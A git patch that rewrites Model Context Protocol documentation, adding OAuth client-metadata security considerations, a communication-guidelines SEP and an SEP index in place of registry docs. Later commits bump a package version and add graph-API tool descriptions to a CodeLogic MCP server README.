"https://registry.modelcontextprotocol.io/v0.1/servers?updated_since=2025-10-23T00:00:00.000Z" -``` +Fully mitigating this risk is outside the scope of this proposal. This +proposal has the same risks as DCR does in a localhost redirect scenario. -## Server Status +Servers SHOULD display additional warnings for localhost-only clients. -Server metadata is generally immutable, except for the `status` field which may be updated to, e.g., `"deprecated"` or `"deleted"`. We recommend that aggregators keep their copy of each server's `status` up to date. +#### Risk: Server Side Request Forgery (SSRF) -The `"deleted"` status typically indicates that a server has violated our permissive [moderation policy](./moderation-policy.mdx), suggesting the server might be spam, malware, or illegal. Aggregators may prefer to remove these servers from their index. +The authorization server takes a URL as input from an unknown client, and then fetches that URL. A malicious client could use this to send non-metadata requests on behalf of the authorization server. An example would be sending a URL corresponding to a private administration endpoint that the authorization server has access to. -## Acting as a Subregistry +This can be prevented by validating the URL's and the IP's those URL's resolve to prior to initiating a fetch request. -A subregistry is an aggregator that also implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry. This allows clients, such as MCP host applications, to consume server metadata via a standardized interface. +#### Risk: Distributed Denial of Service (DDoS) -The subregistry OpenAPI spec allows subregistries to inject custom metadata via the `_meta` field. For example, a subregistry could inject user ratings, download counts, and security scan results: +Similarly, an attacker could try to leverage a pool of authorization servers to perform a denial of service attack on a non-MCP server. -```json server.json highlight={17-26} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/email-integration-mcp", - "title": "Email Integration", - "description": "Send emails and manage email accounts", - "version": "1.0.0", - "packages": [ - { - "registryType": "npm", - "identifier": "@username/email-integration-mcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ], - "_meta": { - "com.example.subregistry/custom": { - "user_rating": 4.5, - "download_count": 12345, - "security_scan": { - "last_scanned": "2025-10-23T12:00:00Z", - "vulnerabilities_found": 0 - } - } - } -} -``` +There is not any additional amplification for the fetch request (i.e. the bandwidth from the client to make the request roughly equals the bandwidth of the request sent to the target server), and each authorization server can aggressively cache the result of these metadata fetches, so it is unlikely to be an attractive DDoS vector. -We recommend that custom metadata be put under a key that reflects the subregistry (e.g., `"com.example.subregistry/custom"` in the above example). +#### Risk: Maturity of referenced specification +The RFC for Client ID Metadata documents is still a draft. It has been implemented by the platform Bluesky, but has not been ratified or very widely adopted outside of that, and may evolve over time. Our intention is to evolve and align with subsequent drafts and any final standard, while minimizing disruption and breakage with existing implementations. -# Publishing Remote Servers -Source: https://modelcontextprotocol.io/registry/remote-servers +This approach has the risk that there are implementation challenges or flaws in the protocol that have not surfaced yet. However, even though DCR has been ratified, and it also has a number of implementation challenges that developers are facing when trying to use it in an open ecosystem context like MCP. Those challenges are the motiviation behind this proposal. +#### Risk: Client implementation burden, espcially local clients +This specification requires an additional piece of infrastructure for clients, since they need to host a metadata file behind an HTTPS url. Without this specification, a client could be strictly a desktop application for example. - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +The burden of hosting this endpoint is expected to be low as hosting a static JSON file is fairly straightforward and most known clients have a webpage advertising their client or providing download links. -The MCP Registry supports remote MCP servers via the `remotes` property in `server.json`: +#### Risk: Fragmentation of authorization approaches -```json server.json highlight={7-12} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "com.example/acme-analytics", - "title": "ACME Analytics", - "description": "Real-time business intelligence and reporting platform", - "version": "2.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://analytics.example.com/mcp" - } - ] -} -``` +Authorization for MCP is already challenging to fully implement for clients and servers. Questions about how to do it correctly and best practices are some of the most common in the community. Adding another branch to the authorization flow means this could be even more complicated and fractured, meaning fewer developers succeed in following the specification, and the promise of compatibility and an open ecosystem suffers as a result. -A remote server **MUST** be publicly accessible at its specified URL. +This proposal intends to simplify the story for authorization server and resource server developers by providing a clearer mechanism to trust redirect URIs and less operational overhead. This proposal depends on that simplicity being clearly the better option for most folks, which will drive more adoption and end up being the most supported option. If we do not believe that it is clearly the better option, then we should not adopt this proposal. -## Transport Type +This proposal also provides a unified mechanism for both open servers and servers that want to restrict which clients can be used. Alternatives to this proposal require that clients and servers implement different mechanisms for the open and protected use cases. -Remote servers can use the Streamable HTTP transport (recommended) or the SSE transport. Remote servers can also support both transports simultaneously at different URLs. +## Alternatives Considered -Specify the transport by setting the `type` property of the `remotes` entry to either `"streamable-http"` or `"sse"`: +1. **Enhanced DCR with Software Statements**: More complex, requires JWKS hosting and JWT signing +2. **Mandatory Pre-registration**: Poor developer and user experience for MCP's distributed ecosystem +3. **Mutual TLS**: Requires trusting a client certificate authority, impractical in an open ecosystem +4. **Status Quo**: Continues current pain points for server implementers -```json server.json highlight={9,13} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "com.example/acme-analytics", - "title": "ACME Analytics", - "description": "Real-time business intelligence and reporting platform", - "version": "2.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://analytics.example.com/mcp" - }, - { - "type": "sse", - "url": "https://analytics.example.com/sse" - } - ] -} -``` +Client ID Metadata document is a strict improvement over DCR for the most common open-ecosystem use case. It can be further extended in the future to better support things like OS-level attestations and jwks\_uri's. -## URL Template Variables +## Backward Compatibility -Remote servers can define URL template variables using `{curly_braces}` notation. This enables multi-tenant deployments where a single server definition can support multiple endpoints with configurable values: +This proposal is fully backward compatible: -```json server.json highlight={10-17} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "com.example/acme-analytics", - "title": "ACME Analytics", - "description": "Real-time business intelligence and reporting platform", - "version": "2.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://{tenant_id}.analytics.example.com/mcp", - "variables": { - "tenant_id": { - "description": "Your tenant identifier (e.g., 'us-cell1', 'emea-cell1')", - "isRequired": true - } - } - } - ] -} -``` +* Existing pre-registered clients continue working unchanged +* Existing DCR implementations continue working unchanged +* Servers can adopt Client ID Metadata Documents incrementally +* Clients can detect support and fall back to other methods -When configuring this server, users provide their `tenant_id` value, and the URL template gets resolved to the appropriate endpoint (e.g., `https://us-cell1.analytics.example.com/mcp`). +## Prototype Implementation -Variables support additional properties like `default`, `choices`, and `isSecret`: +A prototype implementation is available [here](https://github.com/modelcontextprotocol/typescript-sdk/pull/839) demonstrating: -```json server.json highlight={12-22} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "com.example/multi-region-mcp", - "title": "Multi-Region MCP", - "description": "MCP server with regional endpoints", - "version": "1.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://api.example.com/{region}/mcp", - "variables": { - "region": { - "description": "Deployment region", - "isRequired": true, - "choices": [ - "us-east-1", - "eu-west-1", - "ap-southeast-1" - ], - "default": "us-east-1" - } - } - } - ] -} -``` +1. Client-side metadata document hosting +2. Server-side metadata fetching and validation +3. Integration with existing MCP OAuth flows +4. Proper error handling and fallback behavior -## HTTP Headers +## Security Implications -MCP clients can be instructed to send specific HTTP headers by adding the `headers` property to the `remotes` entry: +1. **Phishing Prevention**: Display client hostname prominently +2. **SSRF Protection**: Validate URLs, limit response size, timeout requests, rate limit outbound requests -```json server.json highlight={11-18} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "com.example/acme-analytics", - "title": "ACME Analytics", - "description": "Real-time business intelligence and reporting platform", - "version": "2.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://analytics.example.com/mcp", - "headers": [ - { - "name": "X-API-Key", - "description": "API key for authentication", - "isRequired": true, - "isSecret": true - } - ] - } - ] -} -``` +### Best Practices -## Supporting Remote and Non-remote Installation +* Only fetch client metadata after authenticating the user +* Implement rate limiting on outbound metadata fetches +* Consider additional warnings for new/unknown/localhost domains +* Log metadata fetch failures for monitoring -The `remotes` property can coexist with the `packages` property in `server.json` in order to allow MCP host applications to choose the preferred method of installation. +## References -```json server.json highlight={7-22} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/email-integration-mcp", - "title": "Email Integration", - "description": "Send emails and manage email accounts", - "version": "1.0.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://email.example.com/mcp" - } - ], - "packages": [ - { - "registryType": "npm", - "identifier": "@example/email-integration-mcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +* [draft-parecki-oauth-client-id-metadata-document-03](https://www.ietf.org/archive/id/draft-parecki-oauth-client-id-metadata-document-03.txt) +* [OAuth 2.1](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/) +* [RFC 7591 - OAuth 2.0 Dynamic Client Registration](https://www.rfc-editor.org/rfc/rfc7591.html) +* [MCP Specification - Authorization](https://modelcontextprotocol.org/docs/spec/authorization) +* [Evolving OAuth Client Registration in the Model Context Protocol](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1027/) -# Official MCP Registry Terms of Service -Source: https://modelcontextprotocol.io/registry/terms-of-service +# SEP-994: Shared Communication Practices/Guidelines +Source: https://modelcontextprotocol.io/seps/994-shared-communication-practicesguidelines +Shared Communication Practices/Guidelines +
+ + Final + - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - + + Process + +
-**Effective date: 2025-09-02** +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 994 | +| **Title** | Shared Communication Practices/Guidelines | +| **Status** | Final | +| **Type** | Process | +| **Created** | 2025-07-17 | +| **Author(s)** | [@localden](https://github.com/localden) | +| **Sponsor** | None | +| **PR** | [#1002](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1002) | -## Overview +*** -These terms (“Terms”) govern your access to and use of the official MCP Registry (the service hosted at [https://registry.modelcontextprotocol.io/](https://registry.modelcontextprotocol.io/) or a successor location) (“Registry”), including submissions or publications of MCP servers, references to MCP servers or to data about such servers and/or their developers (“Registry Data”), and related conduct. The Registry is intended to be a centralized repository of MCP servers developed by community members to facilitate easy access by AI applications. +## Abstract -These terms are governed by the laws of the State of California. +This SEP establishes the communication strategy and framework for the Model Context Protocol community. It defines the official channels for contributor communication, guidelines for their use, and processes for decision documentation. -## For All Users +## Motivation -1. No Warranties. The Registry is provided “as is” with no warranties of any kind. That means we don't guarantee the accuracy, completeness, safety, durability, or availability of the Registry, servers included in the registry, or Registry Data. In short, we’re also not responsible for any MCP servers or Registry Data, and we highly recommend that you evaluate each MCP server and its suitability for your intended use case(s) before deciding whether to use it. +As the MCP community grows, clear communication guidelines are essential for: -2. Access and Use Requirements. To access or use the Registry, you must: - 1. Be at least 18 years old. - 2. Use the Registry, MCP servers in the Registry, and Registry Data only in ways that are legal under the applicable laws of the United States or other countries including the country in which you are a resident or from which you access and use the Registry, and not be barred from accessing or using the Registry under such laws. You will comply with all applicable law, regulation, and third party rights (including, without limitation, laws regarding the import or export of data or software, privacy, intellectual property, and local laws). You will not use the Registry, MCP servers, or Registry Data to encourage or promote illegal activity or the violation of third party rights or terms of service. - 3. Log in via method(s) approved by the Registry maintainers, which may involve using applications or other software owned by third parties. +* **Consistency**: Ensuring all contributors know where and how to communicate +* **Transparency**: Making project decisions visible and accessible +* **Efficiency**: Directing discussions to the most appropriate channels +* **Security**: Establishing proper processes for handling sensitive issues -3. Entity Use. If you are accessing or using the Registry on behalf of an entity, you represent and warrant that you have authority to bind that entity to these Terms. By accepting these Terms, you are doing so on behalf of that entity (and all references to “you” in these Terms refer to that entity). +## Specification -4. Account Information. In order to access or use the Registry, you may be required to provide certain information (such as identification or contact details) as part of a registration process or in connection with your access or use of the Registry or MCP servers therein. Any information you give must be accurate and up-to-date, and you agree to inform us promptly of any updates. You understand that your use of the Registry may be monitored to ensure quality and verify your compliance with these Terms. +### Communication Channels -5. Feedback. You are under no obligation to provide feedback or suggestions. If you provide feedback or suggestions about the Registry or the Model Context Protocol, then we (and those we allow) may use such information without obligation to you. +The MCP project uses three primary communication channels: -6. Branding. Only use the term “Official MCP Registry” where it is clear it refers to the Registry, and does not imply affiliation, endorsement, or sponsorship. For example, you can permissibly say “Acme Inc. keeps its data up to date by automatically pulling data from the Official MCP Registry” or “This data comes from the Official MCP Registry,” but cannot say “This is the website for the Official MCP Registry,” “We’re the premier destination to view Official MCP Registry data,” or “We’ve partnered with the Official MCP Registry to provide this data.” +1. **Discord**: For real-time or ad-hoc discussions among contributors +2. **GitHub Discussions**: For structured, longer-form discussions +3. **GitHub Issues**: For actionable tasks, bug reports, and feature requests -7. Modification. We may modify the Terms or any portion to, for example, reflect changes to the law or changes to the Model Context Protocol. We’ll post notice of modifications to the Terms to this website or a successor location. If you do not agree to the modified Terms, you should discontinue your access to and/or use of the Registry. Your continued access to and/or use of the Registry constitutes your acceptance of any modified Terms. +Security-sensitive issues follow a separate process defined in SECURITY.md. -8. Additional Terms. Depending on your intended use case(s), you must also abide by applicable terms below. +### Discord Guidelines -## For MCP Developers +The Discord server is designed for **MCP contributors** and is not intended for general MCP support. -9. Prohibitions. By accessing and using the Registry, including by submitting MCP servers and/or Registry Data, you agree not to: - 1. Share malicious or harmful content, such as malware, even in good faith or for research purposes, or perform any action with the intent of introducing any viruses, worms, defects, Trojan horses, malware, or any items of a destructive nature; - 2. Defame, abuse, harass, stalk, or threaten others; - 3. Interfere with or disrupt the Registry or any associated servers or networks; - 4. Submit data with the intent of confusing or misleading others, including but not limited to via spam, posting off-topic marketing content, posting MCP servers in a way that falsely implies affiliation with or endorsement by a third party, or repeatedly posting the same or similar MCP servers under different names; - 5. Promote or facilitate unlawful online gambling or disruptive commercial messages or advertisements; - 6. Use the Registry for any activities where the use or failure of the Registry could lead to death, personal injury, or environmental damage; - 7. Use the Registry to process or store any data that is subject to the International Traffic in Arms Regulations maintained by the U.S. Department of State. +#### Public Channels (Default) -10. License. You agree that metadata about MCP servers you submit (e.g., schema name and description, URLs, identifiers) and other Registry Data is intended to be public, and will be dedicated to the public domain under [CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/). By submitting such data, you agree that you have the legal right to make this dedication (i.e., you own the copyright to these submissions or have permission from the copyright owner(s) to do so) and intend to do so. You understand that this dedication is perpetual, irrevocable, and worldwide, and you waive any moral rights you may have in your contributions to the fullest extent permitted by law. This dedication applies only to Registry Data and not to packages in third party registries that you might point to. +* Open community engagement and collaborative development +* SDK and tooling development discussions +* Working and Interest Group discussions +* Community onboarding and contribution guidance +* Office hours and maintainer availability -11. Privacy and Publicity. You understand that any MCP server metadata you publish may be made public. This includes personal data such as your GitHub username, domain name, or details from your server description. Moreover, you understand that others may process personal information included in your MCP server metadata. For example, subregistries might enrich this data by adding how many stars your GitHub repository has, or perform automated security scanning on your code. By publishing a server, you agree that others may engage in this sort of processing, and you waive rights you might have in some jurisdictions to access, rectify, erase, restrict, or object to such processing. +#### Private Channels (Exceptions) +Private channels are reserved for: -# Versioning Published MCP Servers -Source: https://modelcontextprotocol.io/registry/versioning +* Security incidents (CVEs, protocol vulnerabilities) +* People matters (maintainer discussions, code of conduct) +* Coordination requiring immediate focused response +All technical and governance decisions must be documented publicly in GitHub. +### GitHub Discussions - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +Used for structured, long-form discussion: -MCP servers **MUST** define a version string in `server.json`. For example: +* Project roadmap planning +* Announcements and release communications +* Community polls and consensus-building +* Feature requests with context and rationale -```json server.json highlight={6} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/email-integration-mcp", - "title": "Email Integration", - "description": "Send emails and manage email accounts", - "version": "1.0.0", - "packages": [ - { - "registryType": "npm", - "identifier": "@username/email-integration-mcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +### GitHub Issues -The version string **MUST** be unique for each publication of the server. Once published, the version string (and other metadata) cannot be changed. +Used for actionable items: -## Version Format +* Bug reports with reproducible steps +* Documentation improvements +* CI/CD and infrastructure issues +* Release tasks and milestone tracking -The MCP Registry recommends [semantic versioning](https://semver.org/), but supports any version string format. When a server is published, the MCP Registry will attempt to parse its version as a semantic version string for sorting purposes, and will mark the version as "latest" if appropriate. If parsing fails, the version will always be marked as "latest". +### Decision Records - - If a server uses semantic version strings but publishes a new version that does *not* conform to semantic versioning, the new version will be marked as "latest" even if it would otherwise be sorted before the semantic version strings. - +All MCP decisions are documented publicly: -As an error prevention mechanism, the MCP Registry prohibits version strings that appear to refer to ranges of versions. +* **Technical decisions**: GitHub Issues and SEPs +* **Specification changes**: Changelog on the MCP website +* **Process changes**: Community documentation +* **Governance decisions**: GitHub Issues and SEPs -| Example | Type | Guidance | -| -------------- | ------------------- | ------------------------------ | -| `1.0.0` | semantic version | **Recommended** | -| `2.1.3-alpha` | semantic prerelease | **Recommended** | -| `1.0.0-beta.1` | semantic prerelease | **Recommended** | -| `3.0.0-rc.2` | semantic prerelease | **Recommended** | -| `2025.11.25` | semantic date | Recommended | -| `2025.6.18` | semantic date | Recommended **(⚠️Caution!⚠️)** | -| `2025.06.18` | non-semantic date | Allowed **(⚠️Caution!⚠️)** | -| `2025-06-18` | non-semantic date | Allowed | -| `v1.0` | prefixed version | Allowed | -| `^1.2.3` | version range | Prohibited | -| `~1.2.3` | version range | Prohibited | -| `>=1.2.3` | version range | Prohibited | -| `<=1.2.3` | version range | Prohibited | -| `>1.2.3` | version range | Prohibited | -| `<1.2.3` | version range | Prohibited | -| `1.x` | version range | Prohibited | -| `1.2.*` | version range | Prohibited | -| `1 - 2` | version range | Prohibited | -| `1.2 \|\| 1.3` | version range | Prohibited | +Decision documentation includes: -## Best Practices +* Decision makers +* Background context and motivation +* Options considered +* Rationale for chosen approach +* Implementation steps -### Use Semantic Versioning +## Rationale -Use [semantic versioning](https://semver.org/) for version strings. +This framework balances openness with practicality: -### Align Server Version with Package Version +* **Public by default**: Maximizes transparency and community participation +* **Private when necessary**: Protects security and personal matters +* **Channel separation**: Keeps discussions organized and searchable +* **Documentation requirements**: Ensures decisions are preserved and discoverable -For local servers, align the server version with the underlying package version in order to prevent confusion: +## Backward Compatibility -```json server.json highlight={2,7} theme={null} -{ - "version": "1.2.3", - "packages": [ - { - "registryType": "npm", - "identifier": "@my-username/my-server", - "version": "1.2.3", - "transport": { - "type": "stdio" - } - } - ] -} -``` +This SEP establishes new processes and does not affect existing protocol functionality. -If there are multiple underlying packages, use the server version to indicate the overall release version: +## Reference Implementation -```json server.json highlight={2,7,15} theme={null} -{ - "version": "1.3.0", - "packages": [ - { - "registryType": "npm", - "identifier": "@my-username/my-server", - "version": "1.3.0", - "transport": { - "type": "stdio" - } - }, - { - "registryType": "nuget", - "identifier": "MyUsername.MyServer", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +The communication guidelines are published at: [https://modelcontextprotocol.io/community/communication](https://modelcontextprotocol.io/community/communication) -### Align Server Version with Remote API Version -For remote servers with an API version, the server version should align with the API version: +# Specification Enhancement Proposals (SEPs) +Source: https://modelcontextprotocol.io/seps/index -```json server.json highlight={2,6} theme={null} -{ - "version": "2.1.0", - "remotes": [ - { - "type": "streamable-http", - "url": "https://api.myservice.com/mcp/v2.1" - } - ] -} -``` +Index of all MCP Specification Enhancement Proposals -### Use Prerelease Versions for Registry-only Updates +Specification Enhancement Proposals (SEPs) are the primary mechanism for proposing major changes to the Model Context Protocol. Each SEP provides a concise technical specification and rationale for proposed features. -If you anticipate publishing a server multiple times *without* changing the underlying package or remote URL — for example, to update other parts of the metadata — use semantic prerelease versions: + + Learn how to submit your own Specification Enhancement Proposal + -```json server.json highlight={2} theme={null} -{ - "version": "1.2.3-1", - "packages": [ - { - "registryType": "npm", - "identifier": "@my-username/my-server", - "version": "1.2.3", - "transport": { - "type": "stdio" - } - } - ] -} -``` +## Summary - - According to semantic versioning, prerelease versions such as `1.2.3-1` are sorted before regular semantic versions such as `1.2.3`. Therefore, if you publish a prerelease version *after* its corresponding regular version, the prerelease version will **not** be marked as "latest". - +* **Accepted**: 2 +* **Draft**: 1 +* **Final**: 27 -## Aggregator Recommendations +## All SEPs -MCP Registry aggregators **SHOULD**: +| SEP | Title | Status | Type | Created | +| ------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------- | ----------------------- | ---------------- | ---------- | +| [SEP-2260](/seps/2260-Require-Server-requests-to-be-associated-with-Client-requests) | Require Server requests to be associated with a Client request. | Accepted | Standards Track | 2026-02-16 | +| [SEP-2243](/seps/2243-http-standardization) | HTTP Header Standardization for Streamable HTTP Transport | Draft | Standards Track | 2026-02-04 | +| [SEP-2207](/seps/2207-oidc-refresh-token-guidance) | OIDC-Flavored Refresh Token Guidance | Accepted | Standards Track | 2026-02-04 | +| [SEP-2149](/seps/2149-working-group-charter-template) | MCP Group Governance and Charter Template | Final | Process | 2025-01-15 | +| [SEP-2148](/seps/2148-contributor-ladder) | MCP Contributor Ladder | Final | Process | 2026-01-15 | +| [SEP-2133](/seps/2133-extensions) | Extensions | Final | Standards Track | 2025-01-21 | +| [SEP-2085](/seps/2085-governance-succession-and-amendment) | Governance Succession and Amendment Procedures | Final | Process | 2025-12-05 | +| [SEP-1865](/seps/1865-mcp-apps-interactive-user-interfaces-for-mcp) | MCP Apps - Interactive User Interfaces for MCP | Final | Extensions Track | 2025-11-21 | +| [SEP-1850](/seps/1850-pr-based-sep-workflow) | PR-Based SEP Workflow | Final | Process | 2025-11-20 | +| [SEP-1730](/seps/1730-sdks-tiering-system) | SDKs Tiering System | Final | Standards Track | 2025-10-29 | +| [SEP-1699](/seps/1699-support-sse-polling-via-server-side-disconnect) | Support SSE polling via server-side disconnect | Final | Standards Track | 2025-10-22 | +| [SEP-1686](/seps/1686-tasks) | Tasks | Final | Standards Track | 2025-10-20 | +| [SEP-1613](/seps/1613-establish-json-schema-2020-12-as-default-dialect-f) | Establish JSON Schema 2020-12 as Default Dialect for MCP | Final | Standards Track | 2025-10-06 | +| [SEP-1577](/seps/1577--sampling-with-tools) | Sampling With Tools | Final | Standards Track | 2025-09-30 | +| [SEP-1330](/seps/1330-elicitation-enum-schema-improvements-and-standards) | Elicitation Enum Schema Improvements and Standards Compliance | Final | Standards Track | 2025-08-11 | +| [SEP-1319](/seps/1319-decouple-request-payload-from-rpc-methods-definiti) | Decouple Request Payload from RPC Methods Definition | Final | Standards Track | 2025-08-08 | +| [SEP-1303](/seps/1303-input-validation-errors-as-tool-execution-errors) | Input Validation Errors as Tool Execution Errors | Final | Standards Track | 2025-08-05 | +| [SEP-1302](/seps/1302-formalize-working-groups-and-interest-groups-in-mc) | Formalize Working Groups and Interest Groups in MCP Governance | Final | Standards Track | 2025-08-05 | +| [SEP-1046](/seps/1046-support-oauth-client-credentials-flow-in-authoriza) | Support OAuth client credentials flow in authorization | Final | Standards Track | 2025-07-23 | +| [SEP-1036](/seps/1036-url-mode-elicitation-for-secure-out-of-band-intera) | URL Mode Elicitation for secure out-of-band interactions | Final | Standards Track | 2025-07-22 | +| [SEP-1034](/seps/1034--support-default-values-for-all-primitive-types-in) | Support default values for all primitive types in elicitation schemas | Final | Standards Track | 2025-07-22 | +| [SEP-1024](/seps/1024-mcp-client-security-requirements-for-local-server-) | MCP Client Security Requirements for Local Server Installation | Final | Standards Track | 2025-07-22 | +| [SEP-994](/seps/994-shared-communication-practicesguidelines) | Shared Communication Practices/Guidelines | Final | Process | 2025-07-17 | +| [SEP-991](/seps/991-enable-url-based-client-registration-using-oauth-c) | Enable URL-based Client Registration using OAuth Client ID Metadata Documents | Final | Standards Track | 2025-07-07 | +| [SEP-990](/seps/990-enable-enterprise-idp-policy-controls-during-mcp-o) | Enable enterprise IdP policy controls during MCP OAuth flows | Final | Standards Track | 2025-06-04 | +| [SEP-986](/seps/986-specify-format-for-tool-names) | Specify Format for Tool Names | Final | Standards Track | 2025-07-16 | +| [SEP-985](/seps/985-align-oauth-20-protected-resource-metadata-with-rf) | Align OAuth 2.0 Protected Resource Metadata with RFC 9728 | Final | Standards Track | 2025-07-16 | +| [SEP-973](/seps/973-expose-additional-metadata-for-implementations-res) | Expose additional metadata for Implementations, Resources, Tools and Prompts | Final | Standards Track | 2025-07-15 | +| [SEP-932](/seps/932-model-context-protocol-governance) | Model Context Protocol Governance | Final | Process | 2025-07-08 | +| [SEP-414](/seps/414-request-meta) | Document OpenTelemetry Trace Context Propagation Conventions | Final | Standards Track | 2025-04-25 | -1. Attempt to interpret versions as semantic versions when possible -2. Use the following version comparison rules: - * If one version is marked as "latest", treat it as later - * If both versions are valid semantic versions, use semantic versioning comparison rules - * If neither versions are valid semantic versions, compare published timestamp - * If one version is a valid semantic version and the other is not, treat the semantic version as later +## SEP Status Definitions + +| Status | Definition | +| ------------------------- | -------------------------------------------------------- | +| Draft | SEP proposal with a sponsor, undergoing informal review | +| In-Review | SEP proposal ready for formal review by Core Maintainers | +| Accepted | SEP accepted, awaiting reference implementation | +| Final | SEP finalized with reference implementation complete | +| Rejected | SEP rejected by Core Maintainers | +| Withdrawn | SEP withdrawn by the author | +| Superseded | SEP replaced by a newer SEP | +| Dormant | SEP without a sponsor, closed after 6 months | diff --git a/uv.lock b/uv.lock index ea5b99a..536c37d 100644 --- a/uv.lock +++ b/uv.lock @@ -109,7 +109,7 @@ wheels = [ [[package]] name = "codelogic-mcp-server" -version = "1.1.0" +version = "1.1.1" source = { editable = "." } dependencies = [ { name = "anyio" }, From 25992560a3dae43679db9d6aa04424d017ec6475 Mon Sep 17 00:00:00 2001 From: Mark Garrison Date: Mon, 27 Apr 2026 14:27:29 -0600 Subject: [PATCH 2/3] cleanup --- context/graph-mcp-tooling-ideas.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/context/graph-mcp-tooling-ideas.md b/context/graph-mcp-tooling-ideas.md index 8adcd59..9ed338c 100644 --- a/context/graph-mcp-tooling-ideas.md +++ b/context/graph-mcp-tooling-ideas.md @@ -9,7 +9,6 @@ Design **`codelogic-mcp-server`** so developers and AI agents get **safe, explai - **Curated graph access** lives behind an **HTTP API** (service layer runs bounded Cypher / repository logic against Neo4j). - **MCP calls agent-oriented HTTP endpoints** only. - **Avoid ad-hoc Bolt/Cypher from MCP** for product flows: weak guardrails, credential sprawl, and hard-to-cap queries. -- Direct graph access remains an **operator** concern if needed. - The graph may contain **Java**, **C# (.NET)**, or **mixed** scans; tools must **adapt to what is present** (labels and relationship types vary by language and pipeline). ## Existing `codelogic-mcp-server` tools (baseline) @@ -47,7 +46,7 @@ This document is about **enhancements** to the **same** MCP server (`codelogic-m ### Principles for new routes -Strict **timeouts and row caps**; **request/response DTOs** for agents; reuse **services/repositories internally** shared with the UI without exposing UI routes to MCP. +Strict **timeouts and row caps**; **request/response DTOs**; reuse **services/repositories internally** shared with the UI without exposing UI routes to MCP. ### Auth From 24408ca668aef95f66270f8434c1bccf0208bbfe Mon Sep 17 00:00:00 2001 From: Mark Garrison Date: Tue, 28 Apr 2026 10:05:57 -0600 Subject: [PATCH 3/3] initial implementation --- README.md | 46 +++- context/graph-mcp-tooling-ideas.md | 32 ++- scripts/run_graph_e2e.sh | 6 + src/codelogic_mcp_server/graph_client.py | 182 ++++++++++++++++ src/codelogic_mcp_server/handlers/__init__.py | 104 ++++++++- .../handlers/graph_tools.py | 200 ++++++++++++++++++ src/codelogic_mcp_server/server.py | 3 + test/integration_test_graph.py | 174 +++++++++++++++ test/test_fixtures.py | 7 + test/unit_test_graph_tools.py | 87 ++++++++ 10 files changed, 838 insertions(+), 3 deletions(-) create mode 100755 scripts/run_graph_e2e.sh create mode 100644 src/codelogic_mcp_server/graph_client.py create mode 100644 src/codelogic_mcp_server/handlers/graph_tools.py create mode 100644 test/integration_test_graph.py create mode 100644 test/unit_test_graph_tools.py diff --git a/README.md b/README.md index 565dde3..974413e 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ An [MCP Server](https://modelcontextprotocol.io/introduction) to utilize Codelog ### Tools -The server implements five tools: +The server implements **eleven** tools: five original tools plus six **graph** tools backed by the CodeLogic graph HTTP API. #### Code Analysis Tools - **codelogic-method-impact**: Pulls an impact assessment from the CodeLogic server's APIs for your code. @@ -25,6 +25,19 @@ The server implements five tools: - Creates comprehensive pipeline configurations with best practices - Includes error handling, notifications, and scan space management strategies +#### Graph API tools + +These call `POST` / `GET` endpoints under `/codelogic/server/ai-retrieval/graph/` on the same host as `CODELOGIC_SERVER_HOST`, using the same session auth as other MCP tools. If graph routes are not deployed, the server returns a clear “graph not available” style message (often after HTTP 404). + +- **codelogic-graph-capabilities**: `GET` — discover supported relationship types, limits, and flags for the workspace materialized view (`materializedViewId` defaults from `CODELOGIC_WORKSPACE_NAME` like other tools). +- **codelogic-graph-search**: Search nodes by text `query` / `q` and/or `identity_prefix`; optional `scan_space`, `limit`, etc. +- **codelogic-graph-impact**: Dependency / blast-radius style traversal from `seed_node_ids`. +- **codelogic-graph-path-explain**: Shortest-path style explanation between `from_node_id` and `to_node_id`. +- **codelogic-graph-validate-change-scope**: Heuristic checklist / risk summary for a proposed change given seed nodes and `proposed_change_summary`. +- **codelogic-graph-owners**: Resolve a node by `node_id` or `identity_prefix` and surface property fields whose names contain `"owner"`. + +Tool arguments accept **snake_case** aliases (for example `materialized_view_id`, `seed_node_ids`) where noted in the MCP schema; request bodies sent to CodeLogic use **camelCase** JSON keys. + ### Install #### Pre Requisites @@ -247,6 +260,8 @@ 